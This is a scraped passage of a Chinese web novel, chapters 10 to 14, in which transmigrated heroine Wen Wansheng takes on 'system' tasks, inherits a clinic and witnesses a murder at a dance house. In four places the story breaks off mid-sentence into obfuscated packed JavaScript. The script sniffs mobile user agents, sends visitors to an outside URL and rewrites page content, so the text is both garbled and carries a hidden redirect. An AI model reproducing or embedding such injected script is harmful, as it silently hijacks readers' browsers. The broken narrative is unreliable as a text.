还有,温晚笙最是瞧不起身份低微之人,但她方才竟然听说,她救下了那位郦国质子。 “累了。”温晚笙打了个哈欠,睡眼惺忪地揉眼。 女子自然不信。 温晚笙向左挪步,她便跟着左移,温晚笙转向右侧,她也跟着向右。 非要跟她吵架是吧。 “我病了,”温晚笙象征性咳嗽两声,吓唬她,“再不离我远点,小心我传染给你!” 女子仔细打量她半晌,插腰冷笑:“我就知道——相思病!” 温晚笙:“……” 她彻底语塞,只觉得嘴角在不受控制抽搐。 这时,另一女子笑吟吟走来打招呼,“亦瑶,许久不见。” 温晚笙瞅准机会,脚下生风,眨眼间就溜得没了影。 * 天光散去。 温晚笙回府后的第一件事,就是将烫手的信塞进妆奁最底层的暗格,随后整个人如抽去筋骨般滑进浴桶,任由温热的水波漫过肩头。 其实得烧掉,不过不能让别人看到信件内容,只能她亲自动手。 而她,现在懒得动。 “小八,”她掬起一捧浮着花瓣的温水,悠哉地揉搓着手臂,“好感度透露一下呗。” 原身自幼用羊乳、牛乳沐浴,肌肤莹如珍贝,从指尖到足跟无一处不是精心娇养,但她穿来后就摒弃了这个习惯,实在是受不了那股子味道。 系统沉默片刻,一板一眼说道: 【宿主,请您不要在这种时候呼唤我。】 【待好感度达到临界值,自会触发提示。】 温晚笙朝着空气翻了个白眼。 它一个机器害羞什么。 沐浴完毕,温晚笙一头扎进床榻,随手翻开《戒》的最后一画,津津有味地看了起来。 cp磕着磕着,困意悄然袭来。 皇宫那边,却是另一番景象。 宫宴散去,灯火次第熄灭,华丽的殿宇重新归于死一般的寂静。 某处寝殿内,宫女轻手轻脚掩上门扉,低声禀告: “公主,谢大人来信了。” 公主想出宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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恰在此时,厅外传来珠帘脆响,伴着几声清越笑语,几位小辈陆续踏进厅来。 除去之前见过的温若彤、温承泽和温若芸外,温晚笙还见到了那位久未归府的堂兄,温承望。 他一袭青色圆领袍,衣襟整饬,虽已入仕途,仍带着几分书卷气。 温晚笙不觉多看了两眼,青年似乎有所察觉,冲着她微微颔首。 温老夫人将温若彤唤到自己身旁坐下,转头吩咐婢女传膳。 温二夫人同儿女细声说:“我们在聊你们的婚事。” 温升荣接住话头,看向侄子,“承望啊,不要只顾着立业,也该成家了。” 温老夫人和温二夫人顿时附和。 温晚笙忍俊不禁,真是催完这个催那个。 眼见没自己什么事,温若彤只能和身旁的堂姐闲聊,“二姐姐,昨夜睡得如何?” “不错,你呢?” “尚可。” 温若彤顺着桌上的话题问:“二姐姐昨夜莫不是看上了那位…” 没等女儿回答,温升荣就竖着耳朵,丝毫没有长辈的架子,追问:“哪位哪位?” 11. 第 11 章 看上了谁? 她吗? 温晚笙在两人期待的目光中愣了两秒,才清了清嗓子说:“当然…” “没有。” 还好温老夫人和温二夫人的注意力都在温承望的婚事上,不然也得唠叨两句。 话一出口,温若彤就后悔了,连忙赔不是。其实昨夜她也没亲眼瞧见二姐姐舍己为人,但听人传得神乎其神,一时也信了几分。 温晚笙表示理解。 八卦这种东西,一向传得比风还快。 隐约察觉到有视线落在自己身上,温晚笙抬眼看向圆桌对面。 温承泽垂首凝着茶水,而温若芸恰好与她四目相对,小心翼翼一笑。 家宴渐近尾声,温老夫人朝身边嬷嬷递了个眼神。嬷嬷立即会意,恭敬地将红包逐一分给小辈们。 过年最令人期待的,无非就是这个环节。 温晚笙接过自己那份,掂了掂,心里美滋滋,可等她瞥见温若彤的,笑意瞬间僵住。 那个红包鼓鼓囊囊的,厚度足有她的两倍有余。但温若彤神色平常,似乎早已习以为常。 温晚笙悄悄环视一圈,放心了。 其他人的份量也都和她的差不多。 散席后,温若彤被温老夫人留在前厅说话。 温晚笙正欲回屋,却被老父亲唤住。 “笙儿,”温升荣一脸严肃,“你当真没有看上谁?” 连侄女那种素来懂事的孩子都谈及此事,他不得不上心。 温晚笙从容应道,“没有,爹。” "真没骗爹?"温升荣绷不住一点,故作叹息,“女儿大了,心思也愈发难猜咯…” “爹…”温晚笙无奈又好笑,“我保证,真的没有!” 攻略就够累了,她哪还有心思喜欢什么人。 温升荣面色稍霁,忽又变了脸色,压低声音问,“乖女儿啊,你不会还对谢大人…” 温晚笙这下一个激灵,赶紧保证:“爹放心,女儿现在对谢大人绝无任何非分之想!” “当真?” “当真!” 温国公朗声笑起来,自袖中取出一个丰厚的红封,递给她,“新年礼我差人送你屋里了,回头记得告诉爹爹喜不喜欢。” 温晚笙手伸到一半,有点纠结。 最后还是温升荣亲自将红包塞到她手心,他眼带泪花,感慨道,“笙儿大了,都学会同爹爹客气了。” 他这女儿,幼时顽皮却懂事,长大后变得愈发任性,但他宠得起,便也由着她。 现下她终于懂事许多,他却只觉得心里酸酸的。 看着眼前这个和自己父亲长得一模一样的长辈,温晚笙实在控制不住,给了他一个大大的拥抱。 “谢谢爹…” 她悄悄红了眼圈。 好想将这份温暖占为己有。 可她终归只是一个鸠占鹊巢的外来者。 温晚笙不知道的是,在她走后,温升荣擦去泪花,竟还能想起‘正事’。 他同下人道:“去查查,昨夜宫宴发生了何事。” 他也该提上日程找个上门女婿了。 * 屋内炉火正旺,氤氲的香气里混合着梅花的冷香。 温晚笙一踏进屋,就被六大箱子礼物迷花眼。 “小姐?” 温晚笙回过神来,用力眨眨眼:“这么多东西,都是我爹送的?” 秋香习以为常地点了点头,随后数了数,诧异地说,“不对,小姐,今年好像多了一箱。” 她笑着补充:“六箱,六六大顺。” 温晚笙忍俊不禁。 两人靠近了瞧,几个箱子长得一模一样。 唯一不同的是,其中一个箱子上有一卷纸。 秋香拿起来细细阅读,抬眼时有些欣慰,“这些是夫人留给小姐的田庄商铺,老爷的意思是,小姐如今可以试着自己打理了。” 温晚笙瞪大眼,没来得及仔细查阅,春花就从外面推门进来。 “小姐,谢家二小姐递来拜帖,请小姐到府上一聚。” “谢家?” 不会是她知道的那个谢家吧。 春花留意着温晚笙的神色,应了声‘是’。 她心里犯难,小姐此刻心情好,要不要趁机告诉她,那只猫恐怕熬不过去了。 温晚笙本想一口回绝,但看完拜帖上的内容,却咽了咽口水。 谢府请了戏班子唱《戒》,那个令她沉迷的连载话本。 听说《戒》现在的价钱比普通的戏要贵上十倍有余。 好看。 爱看。 想看。 * 谢府门第宽阔,然而进门之后,却与温晚笙想象中的大相径庭。 原以为男主的宅邸该是金碧辉煌、陈设讲究,谁知目之所及,清冷到近乎寂寞。 别家早已张灯结彩,可此处只有几串残灯,火星摇曳,似也将熄。 温晚笙暗暗皱眉。 谢衡之双亲早逝,但他父亲生前纳过几房妾室,留下不少子嗣,谢府不该这么萧索才是。 谢令仪似乎一直等着,方见到人进门,她就亲自上前迎接。 她身着浅蓝色衣裙,瞧着比昨夜精神许多。 “温姐姐,”谢令仪观察着她的反应,怯生生道歉,“令仪临时起意,邀约过于唐突,还望温姐姐见谅。” “不会,不会。”温晚笙赶紧笑眯眯接话,“我高兴还来不及呢,我最喜欢看戏了。” 谢令仪怔忡片刻,方轻轻应了声,也不再那般紧绷,领着她往院中走去。 温晚笙边走边打探:“令仪,你兄长不来看戏吗?” “兄长仍昏迷不醒,”谢令仪无意识绞着袖口,有些窘涩,”温姐姐...可要去探望兄长?” “不不不,”温晚笙如避蛇蝎,连连摆手,“我就不打扰他了。” 既然如此,她就放心了。 谢令仪却惴惴不安起来。 两人坐下后,面面相觑了一会儿。 高门大户的礼仪着实周到,院内炉火很足,小食茶水也很丰盛。 “可以开始了吗?”温晚笙歪了歪头,眼底带着掩不住的期待。 谢令仪回过神来,忙道了声好。 她其实并不清楚这场戏究竟唱什么,只听说价钱高得惊人,定是罕见的佳作。 戏一开场,曲调悠扬,唱腔婉转。 才子温润如玉,佳人蕙质兰心;几番误会,数度重逢,情节起伏得当。 两人听得极入神。 然而,到了后半,曲风陡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢衡之微微颔首,目光掠过她那件火红的披风上。 温晚笙看看谢衡之,又看看谢令仪,既然走不了,她还是帮谢令仪一把吧。 “这场戏是我想看的,谢大人别怪令仪。” 那双黑白分明的杏眼,坦荡得竟寻不到分毫曾经的爱慕之色。 “温二小姐误会了,”谢衡之轻笑出声,嗓音里难得染上几分温意,”令仪让你看得开心,我为何要怪?” 温晚笙噎住,那他做出这幅模样吓唬人干嘛。 而谢令仪心头一热,紧张地攥住衣角。 “多谢款待,我先告辞了。” 要是知道男主会醒,她肯定死也不来。 “温姐姐!”谢令仪鼓起勇气拉住她的袖角:“不若留下来用了午膳再走吧?” 【你早就想看那日思夜想的脸庞,因你而泛起潮红……】 【任务:狠狠扇攻略对象一巴掌。】 【任务时限:2天。】 12. 第 12 章 “摸一下行吗?”温晚笙试图谈判。 搂搂抱抱已经够惨绝人寰了,现在要她狠狠扇病娇一巴掌,不是摆明要她去送死吗? 【不行。】 “那你电击我吧。”她视死如归,一副摆烂的模样。 话音刚落,系统还真的没惯着她,一道道电流直击她的小腹。 谢家兄妹当然不清楚是怎么回事,只能看到温晚笙面色骤变,双手捂着小腹抽搐,整个人几乎直不起来。 “温姐姐,”谢令仪吓了一大跳,连忙扶住她的手臂,“你可是哪里不适?” 温晚笙额间沁出薄薄一层冷汗,强撑着气息,从喉咙里挤出两个字:“没…..事。” “我打,我打,还不行吗?!”她在心里呐喊。 别说一巴掌,她现在想给他降龙十八掌。 谢令仪本就胆小,见少女面色苍白,愈发惊慌失措,不知如何是好。 谢衡之倒是沉稳,转身就要去唤大夫。 电流的余震早散,但温晚笙仍觉四肢乏力。 “不用了,谢大人!” 见青年望来,她赶紧解释,“我…我这是老毛病了,回家躺躺就好。” “温姐姐…”谢令仪惊魂未定,欲言又止地看着她。 温晚笙挤出一抹笑,“真没事。” 她只想早点完成任务,早点回家,不再继续受系统的气。 “温二小姐少喝浓茶。”谢衡之目光扫过小桌上的茶食,忽然不轻不重提醒了一句。 浓茶会加重女子经行之痛。 温晚笙摸不着头脑,愣愣点头,随即看向谢令仪,笑道:“令仪,我们下次再聚吧。” 谢令仪心里不免有些失落。虽然温姐姐偶尔会威胁她,可她确实是她唯一的‘朋友’了。 没有确定的日子,便是婉拒。 不过待国子监开课,她们无可避免地又会见面。 * 大年初一,温晚笙收到一个噩耗。 裴怀璟的猫咽气了。 而她,却还要在一天内狠狠打他一巴掌。 温晚笙把最后一抔泥覆上,蹲在地上半天没动作。 最后一个来看的兽医说,它或许是中了什么毒。只是这年代牲畜无人真正重视,他的医术也实在有限。 一旁的春花偷觑小姐阴沉的神色,心里直发怵。谁能想到,小姐竟会亲自为一只畜生下葬。 回到温府后,温晚笙心情依旧低落,让其他人下去,自己一个人静静。 不多时,秋香进屋禀告: “小姐,终于查到了!那批粗布是被绮罗轩一个伙计动了手脚,那人名叫李小钱,是新来的。” 此人换完布匹便告假回乡,这一去,线索断了好些日子,今日方才理清。 温晚笙思绪飘飞了好一会儿,才想起来之前那桩事。 原主的记忆里并无这号人物。无怨无仇,他又能从诬陷她得到什么好处? 他背后要是没人指使,她半个字都不信。 她指尖轻叩红木案沿,清脆一声接一声。 “秋香,你再去查查,三妹妹那几天都与什么人往来。” 她眼波微转,复又添一句:“还有四弟。” 秋香一惊,压低声音问:“小姐是怀疑……” 温晚笙没有多说,只让她放宽心,转而吩咐:“备车,去百草堂。” * 一刻钟后,车马入市。 风从帘缝钻进来,带着清苦药香。 车在百草堂门口停稳。 温晚笙一下车,一道小小的身影自旁窜出,撞得她措手不及。 秋香急忙扶住她:“小姐,没事吧?” 温晚笙捂着手臂,摇了摇头。 秋香低声嘀咕:“哪来的莽撞孩子,着实无礼。” 温晚笙没急着进去,而是在门侧驻足,目光追着那道直冲入堂的身影。 这孩子瘦骨嶙峋,难怪撞得她那么痛。 堂内药香氤氲,来客却寥寥。 “呜呜呜,求求你们救救我妹妹,”小乞丐哭喊着,泪水模糊了他的视线,只能紧紧抱着怀里的小女孩,“她真的快要不行了。” “去去去。”正抓药的学徒又瘦又矮,不耐道:“都说了多少回,没钱看不了。” 这小乞儿几乎把城中医馆跑了个遍,为妹妹求方抓药。 可看病哪里能不花钱?他身上那点来处不明的碎银早已花得干干净净。 “扑通”一声,小乞儿直直跪下,朝学徒连声哀求:“求求你们了,我以后一定会还的…” 在门口观望的温晚笙有点看不下去了。 刚经历过悲痛,她不想再眼睁睁看着生命消逝。 正当她准备上前时,一道清脆的女声响起—— “你先起来,我帮她看看。” 温晚笙的步子一顿,只见一个不过十二三岁的小姑娘上前,示意男孩将怀中的女童平放在地。 “小月,我劝你别白费功夫,”学徒在药柜后冷哼,”他可付不起药钱。” 小月却不理,挽起袖口,先探女孩脉息,又轻掰她的唇齿,细看舌苔与气息。 她抬眼问:“这几天她可有进食?” “有吃…吧。”小乞儿泪眼朦胧,声音发涩,“我、我也不确定。” 他这几日清早出去讨饭,夜里才归。虽给妹妹留了食物,妹妹每回也说自己吃了,可他从未亲眼见她咽下一口。 难道,她是不想拖累他,所以才... 小月收回手,“这样吧,你把她带回去,先喂些流食,我再给你抓几服药。” 说着,她从荷包里掏出零散的铜钱,明知不多,仍分出一半塞到他手里。 “她的腿…”小月的目光落在女孩那双软绵绵的腿上,欲言又止。 小乞丐似是回忆起什么,攥紧拳头,哑声说:“已经...废了。” 小月倒抽一口冷气。 这样重的伤势,早已超出她跟着坐堂大夫学的那点皮毛。 她咬唇犹豫片刻,将荷包里仅剩的碎银都倒出来,不由分说塞进小乞儿手里。 见他要推拒,她故意板起脸:“拿着!给你妹妹多买点好吃的。” 小乞儿捏紧手里白花花的东西,喉头涩然。 整理药材时,女孩扬起笑容,“我叫小月,你叫什么?” 小乞儿一怔,他没有名字,街坊都唤他‘小要饭的’。 此刻,他突然迫切想要一个能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834603|191224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被她唤出口的名字。 “我……我叫明生。”他的声音很轻,“明天的明,生活的生。” 小月笑容灿烂:“新年快乐,明生。” 明生愣楞道谢。此刻女孩在他眼中,比年画上的仙女更令人心折。 “哼,装什么菩萨。”学徒整理药材的间隙,还要冷嘲热讽,“你那几个铜板撑不过三天,到时候可别求我预支工钱。” 小月是百草堂新来的杂工,没什么工钱。 “闭嘴吧你!”小月朝着他做一个鬼脸,明明比对方矮了半个头,气势却不小。 见明生又想将银两还给她,她只好板着脸说,“放心吧,本姑娘还是有积蓄的,饿不死。” 明生抱起妹妹小跑回家,在经过门边时突然低声说,“对不起。” 这些恩情,有朝一日,他定要百倍偿还。 温晚笙看他一眼,独自走进百草堂,让秋香在外边守着。 “姑娘要问诊还是抓药?”学徒看出来人身份不凡,立刻凑上前堆起谄笑。 温晚笙没理他,转头和正捣药的小月搭话:“小月姑娘,你是这里的学徒么?” 小月闻声抬头,药杵“咚”地落在铜臼里,有些奇怪地说:“我只是个杂工。” “你想不想做学徒?” “那是当然!” 温晚笙望着她冻出疮疤的手指,心里不是滋味。 "带我去见你们掌柜。"她转头跟学徒说。 看她面色不豫,学徒下意识听从,引着她往内堂走。 一穿过青布帘子,浓重的药香夹杂着纸墨气扑面而来。 老掌柜花白的头颅几乎要埋进账本,丝毫未察觉有人走近。 直到温晚笙指节轻叩桌面两下,木声清脆,在寂静中显得格外突兀。 老掌柜这才抬起头。 本以为是哪个不懂规矩的药童,不料映入眼帘的是一张明艳而不失清贵的面容。 她的眉眼生动,恰到好处地夺目,有点似曾相识,他一时想不起在哪见过。 “姑娘是?” 温晚笙没答,只是走近几步,指着桌子上的账目,笑眯眯询问:“掌柜可是遇到了什么难题,不如让我看看?” 老掌柜下意识叹气。近来账目都是赤字,可总不能盼着别人生病吧。 老掌柜掩住账本,谨慎道:“老朽尚不知姑娘是何人。” 温晚笙故作失落:“掌柜真的不认识我?” 老掌柜眯起一双老花眼,神色由疑转定。 “小小姐?”他突地站起身来,语气笃定:“您是小小姐!” 温晚笙意外他能这么快认出来。 “刘富见过小小姐。”他忙不迭躬身行礼。 既是她的骨血,便是他的主家。 温晚笙赶紧虚扶老者,眼里含笑:“刘掌柜不必多礼。” 刘富与她亡母相识多年,旧情深厚,看来果真如此。 刘富望着这张与故人七分相似的面容,眼眶发热,“像…太像了。” 尘封的记忆漫上心头。 当年接下这间医馆,他便一直在等今日。 没等他多问两句,外头传来一阵呼喊—— “不好了,死人了!” 13. 第 13 章 刘掌柜掀帘而出,温晚笙紧随其后。 学徒满头大汗,气还没喘匀便开口: “掌柜,左相遭遇刺杀,官府将整条街的铺子都封了,咱们的铺子也要被封几日,说是要彻查。” 他又补充了一句:“大理寺的人也来了。” “青天白日之下,竟出了人命…”刘掌柜眉目一沉,“可还有其他伤亡?” “应当没有。” 温晚笙眼皮子跳了跳。 现在的左相是一个同她爹差不多年纪的人。书里对他的死只是一笔带过,待他死后没多久,谢衡之就顶替了他的位置。 届时,他权势更炽,声名更盛,但和女主之间那道难以逾越的天堑却更深。 “小姐,”刘掌柜忧心忡忡看向少女,“外头如今不太平,您…” 温晚笙看了眼窗外,说:“我先回府了。” 刘掌柜正色道,“账本我会遣最稳妥的人送往府上,供小姐查阅。” 他是老了,但还没老糊涂,不难猜到她今日来百草堂的用意。 “有劳刘掌柜。”温晚笙的笑意顿了顿,目光扫向在场几个人,“不过这里的人手,也该整顿一番了。” 说完,她没过多停留,直接出了门。 学徒脊背发凉,“刘掌柜,那位姑娘是?” “东家。” * 马车方行至街口,便寸步难行。 今日出来游玩的人很多,谁也没料到大年初一会闹这一出,此刻只能依次接受严苛排查。 温晚笙翻着新淘的话本子,倒也不觉得无聊。 不知过了多久,原本缓缓挪动的队伍突然停住。 隔着喧闹声,她隐约听见有人厉声呵斥: “这可是郑家的马车,胆敢拦我们,真是胆肥了!” “我管你是郑家还是温家,凡是不接受排查者,皆有刺杀左相的嫌疑!” “刺杀?”车里的女子一把掀开车帘,怒喝道,“什么刺杀?你把话说清楚!” 那官差一愣,这才意识到哪里不对。 左相不正是姓郑么? 官差看着马车上的纹饰,忙拱手道:“放行!” “瞧,是郑亦瑶。” 旁边车厢里谈话声不小,似乎没想避着人。 温晚笙翻页的动作一顿。 “呵,她八成还蒙在鼓里,”另一人低笑,“靠山倒了,看她往后还敢不敢再狐假虎威。” “李兄不是对她有意?” “我才不稀罕,早就听闻她不自爱,要不是她有个好爹,谁会费心讨好她?如今就算她跪下来求我娶,我也绝不会答应。” 笑声刺耳,温晚笙一把合上话本子,掀起车帘。 “也不撒泡尿照照自己的样子。” 这种不要脸的人她在网上见多了,舔不到就造谣诋毁。 那人刚想骂回去,但在看到少女绚丽的怒容,以及马车上的纹饰后,顿时噤若寒蝉。 * 天才蒙蒙亮,温晚笙猝然惊醒。 昨天回府后,她看了一天的账本。 她明白温升荣把这些铺子交给她的用意,她不想让他失望。 她在这方面欠缺天赋,研究了小半夜才理出些眉目。 这账目,勉强才没亏损。 但想来也正常。 手里有几个钱的,只会找名气大的大夫,而手里没几个子的,通常都想着自己咬牙挺过去。 百草堂这种没有资深大夫坐诊的医馆,开不下去实属正常。 她不仅不怀疑刘掌柜动了手脚,甚至还觉得,他能撑这么多年真是奇迹。 见秋香在门边一脸凝重,温晚笙坐起身询问:“怎么了?” “小姐,我打听到了些消息…” 采买那日,温若彤以及她身边的下人都与往常无异。 若非要寻一处不寻常,那便是鲜少出门的二少爷温承泽那日也离了府。 但他去的是城东,而她们采买的地方在城西。 温晚笙揉揉发胀的太阳穴,笑意不达眼底。女配还真是容易被害的体质。 “我知道了。”她下床伸了个懒腰,眼尖看到秋香手里捧着东西,“你手里是什么?” 秋香乍然回神,“小姐,是《戒》,今早刚送到府上。” 温晚笙顿时将一切烦恼抛之脑后,待秋香为她梳妆之际,直接就看了起来。 秋香原本还担心,打听到的消息会影响到小姐心情,此刻发觉自己当真是多虑了。 好几天没看,开篇就这么刺激。 俩主角终于破戒。 男主正襟危坐于温泉水中,女主不小心闯进,跌入水中,衣衫尽湿,勾勒出窈窕的曲线。 水汽氤氲间,女主朝那端坐如松的身影缓步靠近。 男主命她待着别动,女主却步步紧逼。 水珠顺着男主紧绷的颈线滑落,他偏过头避开那灼人的目光,然而下一刻,女主直接跨坐在他的身上。 紧密结合。 水面陡然荡开圈圈涟漪,恰似两人骤然紊乱的气息。 这就没了?! 温晚笙意犹未尽地去用了早膳。 今天她要考察自家的脂粉铺子,还要完成任务,没时间磨蹭。 希望攻略对象识趣点,自己出现在她面前。 凝香斋坐落于上京繁华的朱雀街,与百草堂相隔好几条街,生意应当不会差。 但等站在了门口,她还是吓一大跳。 生意何止是不差,可以说的上是非常红火。 队伍绕着街角,排到了对街,她和秋香别说进门,就连铺子的门楣都瞧不真切。 温晚笙吸了吸鼻子,天这么冷,却丝毫不影响人流。 她要发财了? 秋香见状,想直接走到队伍前头,亮出自家小姐的身份。 可她刚往前迈了半步,排队的女女男男便齐刷刷投来不满的眼刀子,吓得她立即缩了回去,不敢再动任何心思。 温晚笙倒不急于一时,见秋香吃瘪,拍拍她的肩安慰,然后老老实实在后面排着,似乎把今天要做的另一件事忘了个一干二净。 【请宿主积极完成任务。】 温晚笙瞬间来劲:“那你倒是把人送到我面前啊。” 让她找到他家打他一巴掌,这真的有利于攻略吗。 系统又哑巴了。 温晚笙无聊地左看右看,指着一处,好奇问道:“秋香,那里是卖什么的,生意这么好?” 这家铺子和她家的开的这么近,恐怕是竞争关系。 正所谓,知己知彼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834604|191224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,百战不殆,她要不要… 秋香顺着少女的手指望去,脸颊“唰”地飞上两朵极可疑的红云。 在温晚笙的追问下,她才支支吾吾解释,“小姐,那,那是歌舞坊。” 白日笙歌曼舞,晚上... 温晚笙若有所思地扬了扬眉。 又排了一会儿,她把取账本的重任交给秋香,说要逛街,眨眼间就融入人群。 秋香也没办法阻拦,她家小姐依旧那般贪玩。 * 温晚笙看似走远了,实则绕了个圈,又回到原点。 只不过,她这次的目标不是凝香斋,而是那间歌舞坊。 刚才排队的时候她就察觉到,这里和她想象中不同,男女都招待。 才一进门,就有一位穿着浅紫薄纱的女子上前迎接。 “姑娘生得好生貌美,快快进来。” 衣袖轻拂过她的面颊,一阵香风扑鼻而来。 温晚笙诚恳发问:“姐姐你好香呀,可以告诉我你用的东西是哪买的吗?” 女子被逗笑,纤手一指,俨然是凝香阁的方向。 温晚笙并不意外。 女子亲热地勾着少女的手臂,笑意盈盈问道:“姑娘是要听曲,还是看舞?” 温晚笙思绪被打断,想了想,唇边漾出梨涡:“看舞吧。” 女子命人将她领到楼上,没单独的座位,只能和人拼桌。 和她一桌的是一位身形瘦弱、一袭黑衣的男子。 他长得勉强算清秀,唯独鼻背过高,显得鼻子大得突兀。 说不出哪里不对劲,但就是有些奇怪。 温晚笙冲着他友好一笑,但对方似乎不屑给她一个眼神。 她刚坐下没多久,一名穿着单薄的侍从就上来添茶,然后含情脉脉将杯子递给她。 温晚笙伸手接过,没曾想一个不小心,茶水撒了点出来,恰巧倒在适从的手背上。 看着对方湿漉漉的手,温晚笙赶忙道歉。 侍从嗔怪地看她一眼,随后将微红的手背伸到她眼前。 “好疼,姑娘给我吹吹~” 温晚笙呆楞了一秒。 然后,真的朝他手上轻轻吹了几口气。 不知道是不是错觉,一道瘆人的视线忽然在她身上徘徊。 终于打发走适从,温晚笙喝了口茶压惊,就准备好好欣赏舞蹈,再思量对策。 “姑娘来此寻欢?” 一道低沉的声音突兀响起,正出自那位寡言男子。 半晌,温晚笙才意识到对方是在跟自己说话。 他的眼神让她莫名感到不适。 她不答反问,“你不是吗?” 男子嗓音似乎刻意压低,听不出情绪:“姑娘常来?” 温晚笙警惕抱臂,“关你什么事。” “姑娘不嫌脏?” 温晚笙扯扯嘴角。 这惹人嫌的说话方式,还真像一个人。 她正要反唇相讥,就见他微微仰头喝茶。 喉结随着吞咽滚动,她的目光却落在他下颌处那颗小痣上。 温晚笙话锋陡转,“公子对我这么好奇,难道...” 说着,她抬手,指尖伸向他的面庞,笑容狡黠。 “想与本姑娘共度春宵?” 14.第 14 章 少女的动作不像是调情,更像是...要打他一巴掌。 温热的触感只在他脸上停留了一瞬,男子陡然后退,如避蛇蝎,仿佛沾到什么污秽之物。 温晚笙把他的反应尽收眼底,转头就若无其事地看起了表演。 女伶着月白长裙,水袖一展,欲勾眼前人。 男伶着青色长袍,折扇开合,欲拒还迎。 他退,她就进。 几个回合下来,水袖自空中划出一弧,将男伶勾到身前。 伴随着琵琶声渐急,男伶俯首称臣,半跪于她裙畔。 温晚笙渐渐看得入了迷。 有张力,又不俗,没有她想象中的露骨。 落幕后,她随众人鼓掌叫好。 “不知廉耻。” 叫好声中插入一缕冷声,并未刻意压低。 温晚笙的掌声顿住,淡淡瞥他一眼。 一张平平无奇的脸,偏生配了把玉石般清越的嗓子。 见男子目光定在自己身上,温晚笙似笑非笑地点了点头。 “说的是呢,你们这些男子,一向不知道''廉耻''二字怎么写。” 锦衣华服的男客十占□□,而女客零零散散,她在其中倒是显得突兀。 青天白日尚且如此,夜里只怕更要“热闹”得不成样子。 男子唇线紧抿,下颌绷成一道冷硬的弧度。 少女眼里凝着霜,先前‘调戏’他时的那点笑意,已然褪得干干净净。 “啊!” 一声细而尖的惊叫自三楼炸开。 众人纷纷向上望去,就见珠帘被撞开,一个衣衫褴褛的女子连滚带爬地跌了出来。 老鸨反应极快,当即就奔上前去,显然要在事态扩大前先压下去。 可掀帘望进去时,饶是身经百战的她,脸色也陡然一变。 几乎同时,同桌的男子霍然起身,一言不发地朝楼上走去。 温晚笙迟疑片刻,也随骚动的人群涌上三楼,挤到那间包厢门外。 她被推到最前面,可那男子的身影已然杳无踪影。 一股甜腻中混杂着腥铁的气味直冲鼻端。 帘内不见想象中的狼藉,也无仓皇失措的登徒子。 只见锦毯中央横着一具尸身,一群蜘蛛密密麻麻自四面攒来。 这样的景象,于这笙歌曼舞之地,骇人的紧。 尸体双眼暴睁,瞳孔涣散,凝固在最后的恐惧里。他的嘴巴张得极大,像是来不及喊出声,就被扼住呼吸。 下一瞬,那团黑影无声爬动,争先恐后沿着鼻翼、齿缝与皮肉裂隙钻入。 温晚笙的后背“唰”地一凉,汗毛尽数倒竖。 她猛然别过脸,胃里一阵翻涌,喉头发紧,忍不住连连干呕。 “快去报官!”老鸨强压住嗓音里的颤,挥手命人关门,以免那群蜘蛛朝他们涌来。 随后喝令下人将跌倒在地的艺伎扶起,厉声逼问:“说!里头究竟出了什么事?” “妈妈,我真的不知情……”艺伎惊魂未定,倚在下人臂弯里,哭得气息不匀,“我只是去给郑公子取些糕点,谁知一回来郑公子就、就……” 幸而那群蜘蛛仿若被看不见的线牵引,只在尸身周遭爬动。若是四散开来,恐怕她今日也要遭殃。 温晚笙还没从恶心的劲缓过来,无心去听他们的对话,只想尽快离开这个是非之地。 “怕了?” 微凉的吐息拂过她的耳尖,温晚笙顿觉寒意再生,毛骨悚然的颤栗顺着脊背一路攀升。 说话就说话,干嘛非要凑到她耳边! 她猛地往旁边挪了挪,冷着脸不作回应。 这人似乎很想看她的笑话。 目光从他脸颊一掠而过,温晚笙攥紧袖口,同他擦身而过,头也不回转身离去。 那道目光仍黏着她不放,像蛛丝无声缠上背脊。 步子不自觉越迈越急。 见到台阶,她便疾步而下,一口气连下两层,全然没察觉,这处阶面与方才上楼的那道并不相同。 一楼依旧灯火明媚,歌声婉转。显然,还无人知晓三楼发生的惨剧。 有人因她步履匆促而侧目打量,也有人因她的好颜色,目光多停留了片刻。 这间歌舞坊大得惊人,曲折的回廊一道接一道,到处都是垂地纱幔。 温晚笙一路穿行,绕开一个又一个试图拦她去路的醉客。 不知道第几次绕回同一扇仕女屏风前,她才终于意识到自己肯定迷路了。 刚才一直不问路,是怕一开口,胃里的翻涌会失控。 但眼下实在别无他法,她只得抬手拦住一名端盘经过的小厮,询问出口的方向。 小厮面带疑惑:“姑娘,您不是刚从那边过来吗?” 随即恍然,他抬手一指大门方向,“哎哟,姑娘您走反啦!得先往左走,再往右,最后再往左边直着走便能出去。” 